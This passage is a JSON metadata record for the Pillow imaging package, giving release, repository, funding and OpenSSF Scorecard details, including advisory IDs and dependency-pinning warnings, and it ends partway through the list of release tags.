{"id":2852018,"name":"pillow","ecosystem":"pypi","description":"Python Imaging Library (fork)","homepage":"https://python-pillow.org","licenses":"MIT-CMU","normalized_licenses":["MIT-CMU"],"license_expression":"MIT-CMU","repository_url":"https://github.com/python-pillow/Pillow","keywords_array":["Imaging"],"namespace":null,"versions_count":109,"first_release_published_at":"2010-07-31T06:23:55.000000Z","latest_release_published_at":"2026-10-16T22:15:24.000000Z","latest_release_number":"13.0.0","latest_published_release_number":"13.0.0","last_synced_at":"2026-12-04T11:22:04.330946Z","created_at":"2022-04-10T12:03:02.657337Z","updated_at":"2026-12-04T22:20:51.616671Z","registry_url":"https://pypi.org/project/pillow/","install_command":"pip install pillow --index-url https://pypi.org/simple","documentation_url":"https://pillow.readthedocs.io","metadata":{"funding":"https://tidelift.com/lifter/search/pypi/pillow","documentation":"https://pillow.readthedocs.io","classifiers":["Development Status :: 6 - Mature","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: 3.15","Programming Language :: Python :: Implementation :: CPython","Programming Language :: Python :: Implementation :: PyPy","Topic :: Multimedia :: Graphics","Topic :: Multimedia :: Graphics :: Capture :: Digital Camera","Topic :: Multimedia :: Graphics :: Capture :: Screen Capture","Topic :: Multimedia :: Graphics :: Graphics Conversion","Topic :: Multimedia :: Graphics :: Viewers","Typing :: Typed"],"normalized_name":"pillow","project_status":null},"repo_metadata":{"id":4067385,"uuid":"5171600","full_name":"python-pillow/Pillow","owner":"python-pillow","description":"Python Imaging Library (fork)","archived":false,"fork":false,"pushed_at":"2026-11-30T19:01:33.000Z","size":213453,"stargazers_count":14028,"open_issues_count":103,"forks_count":2668,"subscribers_count":222,"default_branch":"main","last_synced_at":"2026-11-30T20:41:30.377Z","etag":null,"topics":["c","cross-platform","image","image-processing","pil","pillow","python","python-3"],"latest_commit_sha":null,"homepage":"https://python-pillow.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/python-pillow.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":".github/CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":".github/SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"python-pillow","tidelift":"pypi/pillow"}},"created_at":"2012-07-24T21:38:39.000Z","updated_at":"2026-11-30T15:02:21.000Z","dependencies_parsed_at":"2026-11-23T17:38:41.441Z","dependency_job_id":null,"html_url":"https://github.com/python-pillow/Pillow","commit_stats":{"total_commits":13318,"total_committers":471,"mean_commits":28.276008492569,"dds":0.6136056464934675,"last_synced_commit":"128f3f46d475de5ddf9859ae1e262287d0c126b6"},"previous_names":["python-imaging/pillow"],"tags_count":100,"template":false,"template_full_name":null,"purl":"pkg:github/python-pillow/Pillow","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/sbom","scorecard":{"id":685638,"data":{"date":"2025-08-11","repo":{"name":"github.com/python-pillow/Pillow","commit":"092d4422d590835c5a75831a4ff29caf0df08ae2"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.8,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 24 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":9,"reason":"Found 16/17 approved changesets -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: .github/SECURITY.md:1","Info: Found linked content: .github/SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: .github/SECURITY.md:1","Info: Found text in security policy: .github/SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release-drafter.yml:20","Info: found token with 'none' permissions: .github/workflows/test-docker.yml:116","Info: found token with 'none' permissions: .github/workflows/test-windows.yml:240","Info: found token with 'none' permissions: .github/workflows/test.yml:162","Info: topLevel 'contents' permission set to 'read': .github/workflows/cifuzz.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/docs.yml:19","Info: topLevel 'contents' permission set to 'read': .github/workflows/lint.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-drafter.yml:11","Info: topLevel 'contents' permission set to 'read': .github/workflows/stale.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-docker.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-mingw.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-valgrind-memory.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-valgrind.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-windows.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/wheels.yml:35"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: Tests/oss-fuzz/fuzz_font.py:18","Info: PythonAtherisFuzzer integration found: Tests/oss-fuzz/fuzz_pillow.py:16"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/wheels.yml:270"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Vulnerabilities","score":0,"reason":"13 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-29gw-9793-fvw7","Warn: Project is vulnerable to: PYSEC-2015-24 / GHSA-4vwq-x64q-j4cj","Warn: Project is vulnerable to: PYSEC-2017-46 / GHSA-66gw-5xpf-gfp5","Warn: Project is vulnerable to: PYSEC-2015-25 / GHSA-92mr-v722-f48m","Warn: Project is vulnerable to: PYSEC-2022-12 / GHSA-pq7m-3gw7-gq5x","Warn: Project is vulnerable to: PYSEC-2017-47","Warn: Project is vulnerable to: PYSEC-2018-34 / GHSA-2fc2-6r4j-p65h","Warn: Project is vulnerable to: PYSEC-2021-856 / GHSA-5545-2q6w-2gh6","Warn: Project is vulnerable to: PYSEC-2019-108 / GHSA-9fq2-x9r6-wfmf","Warn: Project is vulnerable to: PYSEC-2018-33 / GHSA-cw6w-4rcx-xphc","Warn: Project is vulnerable to: PYSEC-2021-857 / GHSA-f7c7-j99h-c22f","Warn: Project is vulnerable to: GHSA-fpfv-jqm9-f5jm","Warn: Project is vulnerable to: PYSEC-2017-1 / GHSA-frgw-fgh6-9g52"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): .github/workflows/test-docker.yml:100","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-drafter.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/release-drafter.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/stale.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-docker.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-docker.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-docker.yml:108: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-mingw.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-mingw.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-mingw.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-mingw.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-valgrind-memory.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-valgrind-memory.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-valgrind.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-valgrind.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:219: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-windows.yml:231: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:143: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:154: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:281: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/wheels.yml:287: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:156: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:161: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:167: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:222: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:228: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:237: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:242: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:248: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:259: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .ci/after_success.sh:4","Warn: pipCommand not pinned by hash: .ci/install.sh:25","Warn: pipCommand not pinned by hash: .ci/install.sh:26","Warn: pipCommand not pinned by hash: .ci/install.sh:27","Warn: pipCommand not pinned by hash: .ci/install.sh:28","Warn: pipCommand not pinned by hash: .ci/install.sh:29","Warn: pipCommand not pinned by hash: .ci/install.sh:30","Warn: pipCommand not pinned by hash: .ci/install.sh:31","Warn: pipCommand not pinned by hash: .ci/install.sh:32","Warn: pipCommand not pinned by hash: .ci/install.sh:33","Warn: pipCommand not pinned by hash: .ci/install.sh:34","Warn: pipCommand not pinned by hash: .ci/install.sh:35","Warn: pipCommand not pinned by hash: .ci/install.sh:38","Warn: pipCommand not pinned by hash: .ci/install.sh:44","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:24","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:25","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:26","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:27","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:28","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:29","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:30","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:31","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:32","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:35","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:174","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:187","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:377","Warn: pipCommand not pinned by hash: Tests/oss-fuzz/build.sh:18","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:47","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:48","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:124","Warn: pipCommand not pinned by hash: .github/workflows/wheels.yml:120","Info:   0 out of  36 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of  10 third-party GitHubAction dependencies pinned","Info:   0 out of  32 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}}]},"last_synced_at":"2025-08-22T00:42:31.003Z","repository_id":4067385,"created_at":"2025-08-22T00:42:31.003Z","updated_at":"2025-08-22T00:42:31.003Z"},"funding_links":["https://github.com/sponsors/python-pillow","https://tidelift.com/funding/github/pypi/pillow"],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":355588341,"owners_count":38755062,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-11-03T11:36:44.738Z","status":"online","status_checked_at":"2026-11-30T02:00:06.732Z","response_time":112,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"python-pillow","name":"Pillow","uuid":"2036701","kind":"organization","description":"The friendly PIL fork (Python Imaging Library)","email":"aclark@aclark.net","website":"https://python-pillow.github.io","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/2036701?v=4","repositories_count":20,"last_synced_at":"2026-11-29T11:24:50.807Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/python-pillow","funding_links":["https://github.com/sponsors/python-pillow"],"total_stars":14179,"followers":274,"following":0,"created_at":"2022-11-02T16:23:18.204Z","updated_at":"2026-11-29T11:24:50.823Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow/repositories"},"tags":[{"name":"13.0.0","sha":"293218ad059d994baf1777d882911bed6a49704a","kind":"commit","published_at":"2026-10-16T20:05:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/13.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@13.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/13.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/13.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/13.0.0"},{"name":"12.3.0","sha":"bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d","kind":"commit","published_at":"2026-07-01T09:09:01.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.3.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/12.3.0"},{"name":"12.2.0","sha":"3c41c095064200a02672d89cc5ff629eaf4b0d4f","kind":"commit","published_at":"2026-04-01T12:11:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/12.2.0"},{"name":"12.1.1","sha":"5158d98c807e719c5938aa3886913ef0ea6814e9","kind":"commit","published_at":"2026-02-11T01:13:25.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/12.1.1"},{"name":"12.1.0","sha":"46f45f674d47b5d8bc54230dda8fe9e214598b87","kind":"commit","published_at":"2026-01-02T06:03:05.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/12.1.0"},{"name":"12.0.0","sha":"693df7b42c666f88c719f9973be0ad71607328e0","kind":"commit","published_at":"2025-10-15T17:06:44.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/12.0.0"},{"name":"11.3.0","sha":"89f1f4626a2aaf5f3d5ca6437f41def2998fbe09","kind":"commit","published_at":"2025-07-01T07:41:24.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.3.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/11.3.0"},{"name":"11.2.1","sha":"339bc5db93bd95decf65a59fab273f300db6594d","kind":"commit","published_at":"2025-04-12T16:55:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.2.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/11.2.1"},{"name":"11.1.0","sha":"4c1aed801e43c6b307e7135279ca1dbc02bbf052","kind":"commit","published_at":"2025-01-02T05:00:59.000Z","download_url":"https://codeload.github